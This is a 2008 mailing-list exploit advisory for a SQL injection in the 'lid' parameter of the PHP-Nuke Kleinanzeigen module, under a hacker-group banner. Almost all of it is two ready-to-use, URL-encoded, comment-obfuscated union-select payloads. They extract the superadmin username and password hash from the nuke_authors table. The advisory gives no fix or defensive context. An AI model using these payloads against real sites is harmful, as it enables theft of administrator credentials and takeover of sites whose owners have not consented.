Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

CA Products That Embed Ingres Multiple Vulnerabilities

MyClan Sql Injection

Pluck 4.5.2 Multiple Cross Site Scripting Vulnerabilities

IGES CMS <=2.0 Multiple Vulnerabilities

From:	lovebug_(at)_hotmail.it <lovebug_(at)_hotmail.it>
Date:	07.08.2008
Subject:	PHP-NUKE module Kleinanzeigen SQL injection (lid)

##########################################################
#   Rbt-4 crew
#  http://www.rbt-4.net
#   Author : Lovebug
#----------------------------
#
#
#   Remote Sql injection Php-Nuke module name Kleinanzeigen
##########################################################
# modules.php?name=Kleinanzeigen&a_op=visit&lid=[sql]
#
#                         Exploit
#
# username :
-
1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2
A%2A%2F0%2Caid%2F%2A%2A%2Ffrom%2F%2A%2A%
2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradmin
super%3D1%2F%2A
# pwd :
-
1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2
A%2A%2F0%2Cpwd%2F%2A%2A%2Ffrom%2F%2A%2A%
2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradmin
super%3D1%2F%2A
##########################################################